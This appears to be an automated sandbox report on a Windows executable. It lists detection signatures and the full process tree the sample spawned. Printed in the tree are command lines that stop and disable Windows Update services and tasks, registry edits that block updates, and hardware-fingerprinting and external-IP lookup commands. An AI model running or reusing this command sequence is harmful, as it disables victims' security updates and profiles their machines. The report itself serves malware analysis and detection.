Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/04/2026, 16:51

General

  • Target
    d87964a91a46b0638ff2890b75e16169bf588dddfc21a96571cf64acafdb9025.exe
  • Size 76KB
  • Sample260424-vdb89sft5k
  • SHA256 d87964a91a46b0638ff2890b75e16169bf588dddfc21a96571cf64acafdb9025
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d87964a91a46b0638ff2890b75e16169bf588dddfc21a96571cf64acafdb9025.exe
    "C:\Users\Admin\AppData\Local\Temp\d87964a91a46b0638ff2890b75e16169bf588dddfc21a96571cf64acafdb9025.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop wuauserv > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3304
      • C:\Windows\system32\sc.exe
        sc stop wuauserv
        3⤵
        • Launches sc.exe
        PID:5024
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\system32\sc.exe
        sc config wuauserv start= disabled
        3⤵
        • Launches sc.exe
        PID:3668
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop UsoSvc > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:996
      • C:\Windows\system32\sc.exe
        sc stop UsoSvc
        3⤵
        • Launches sc.exe
        PID:3976
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config UsoSvc start= disabled > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Windows\system32\sc.exe
        sc config UsoSvc start= disabled
        3⤵
        • Launches sc.exe
        PID:1436
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop wmisvc > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Windows\system32\sc.exe
        sc stop wmisvc
        3⤵
        • Launches sc.exe
        PID:4716
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config wmisvc start= disabled > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4320
      • C:\Windows\system32\sc.exe
        sc config wmisvc start= disabled
        3⤵
        • Launches sc.exe
        PID:3968
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /change /tn "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /disable > nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3248
      • C:\Windows\system32\schtasks.exe
        schtasks /change /tn "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /disable
        3⤵
          PID:3748
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /change /tn "\Microsoft\Windows\WindowsUpdate\AUInstallAgent" /disable > nul 2>&1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4388
        • C:\Windows\system32\schtasks.exe
          schtasks /change /tn "\Microsoft\Windows\WindowsUpdate\AUInstallAgent" /disable
          3⤵
            PID:1896
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c schtasks /change /tn "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /disable > nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Windows\system32\schtasks.exe
            schtasks /change /tn "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /disable
            3⤵
              PID:800
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c schtasks /change /tn "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /disable > nul 2>&1
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3120
            • C:\Windows\system32\schtasks.exe
              schtasks /change /tn "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /disable
              3⤵
                PID:4696
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c schtasks /change /tn "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeup" /disable > nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1792
              • C:\Windows\system32\schtasks.exe
                schtasks /change /tn "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeup" /disable
                3⤵
                  PID:4336
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DoNotConnectToWindowsUpdateInternetLocations /t REG_DWORD /d 1 /f > nul 2>&1
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4292
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DoNotConnectToWindowsUpdateInternetLocations /t REG_DWORD /d 1 /f
                  3⤵
                    PID:376
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f > nul 2>&1
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1840
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                    3⤵
                      PID:4356
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AUOptions /t REG_DWORD /d 1 /f > nul 2>&1
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:988
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AUOptions /t REG_DWORD /d 1 /f
                      3⤵
                        PID:1688
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallDay /t REG_DWORD /d 0 /f > nul 2>&1
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4428
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallDay /t REG_DWORD /d 0 /f
                        3⤵
                          PID:1296
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallTime /t REG_DWORD /d 0 /f > nul 2>&1
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4288
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallTime /t REG_DWORD /d 0 /f
                          3⤵
                            PID:1604
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWindowsUpdate /t REG_DWORD /d 1 /f > nul 2>&1
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4496
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWindowsUpdate /t REG_DWORD /d 1 /f
                            3⤵
                              PID:2944
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f > nul 2>&1
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4376
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                              3⤵
                              • Modifies security service
                              PID:2676
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f > nul 2>&1
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:744
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                              3⤵
                                PID:1892
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f > nul 2>&1
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2184
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                3⤵
                                  PID:880
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\SusClientInfo" /v SkipUpdateOrchestrator /t REG_DWORD /d 1 /f > nul 2>&1
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3160
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\SusClientInfo" /v SkipUpdateOrchestrator /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:540
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results" /v Hack /t REG_DWORD /d 1 /f > nul 2>&1
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2356
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results" /v Hack /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:3884
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wmic baseboard get serialnumber
                                    2⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1828
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic baseboard get serialnumber
                                      3⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1944
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
                                    2⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1680
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic csproduct get uuid
                                      3⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3664
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wmic computersystem get model
                                    2⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:644
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic computersystem get model
                                      3⤵
                                        PID:2524
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c wmic bios get serialnumber
                                      2⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:32
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic bios get serialnumber
                                        3⤵
                                          PID:240
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c wmic diskdrive where Index=0 get serialnumber /value | findstr "="
                                        2⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:1980
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic diskdrive where Index=0 get serialnumber /value
                                          3⤵
                                            PID:3116
                                          • C:\Windows\system32\findstr.exe
                                            findstr "="
                                            3⤵
                                              PID:3152
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c wmic diskdrive get serialnumber
                                            2⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:4468
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic diskdrive get serialnumber
                                              3⤵
                                                PID:2880
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c wmic nic where "NetConnectionStatus=2" get MACAddress
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:1116
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic nic where "NetConnectionStatus=2" get MACAddress
                                                3⤵
                                                  PID:564
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c curl -s ifconfig.me
                                                2⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:4104
                                                • C:\Windows\system32\curl.exe
                                                  curl -s ifconfig.me
                                                  3⤵
                                                    PID:1576
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "([datetime]'1/1/1970').AddSeconds((Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion' -Name InstallDate).InstallDate).ToLocalTime().ToString('yyyy.M.d H:m:s')"
                                                  2⤵
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:4656
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -NoProfile -Command "([datetime]'1/1/1970').AddSeconds((Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion' -Name InstallDate).InstallDate).ToLocalTime().ToString('yyyy.M.d H:m:s')"
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1300

                                              Network

                                                    MITRE ATT&CK Enterprise v16

                                                    Replay Monitor

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                                                    Downloads

                                                    __PSScriptPolicyTest_4lxfhlta.i1z.ps1

                                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4lxfhlta.i1z.ps1
                                                    • Size 60B
                                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                    • MD5 SHA1 SHA512 TLSH

                                                    hardware.ini

                                                    • Path C:\Windows\SysWOW64\SQ\hardware.ini
                                                    • Size 213B
                                                    • SHA256 ccbaa47a59dd816dd8786712802af01185e11d2becf1844b220a3cf69e66157e
                                                    • MD5 SHA1 SHA512 TLSH

                                                    memory/1300-5-0x000001B6E8F40000-0x000001B6E8F62000-memory.dmp

                                                    memory/1300-9-0x000001B6E6F40000-0x000001B6E6F4C000-memory.dmp

                                                    memory/1300-10-0x000001B6E8D70000-0x000001B6E8E5A000-memory.dmp

                                                    memory/1300-11-0x000001B6E8E60000-0x000001B6E8E72000-memory.dmp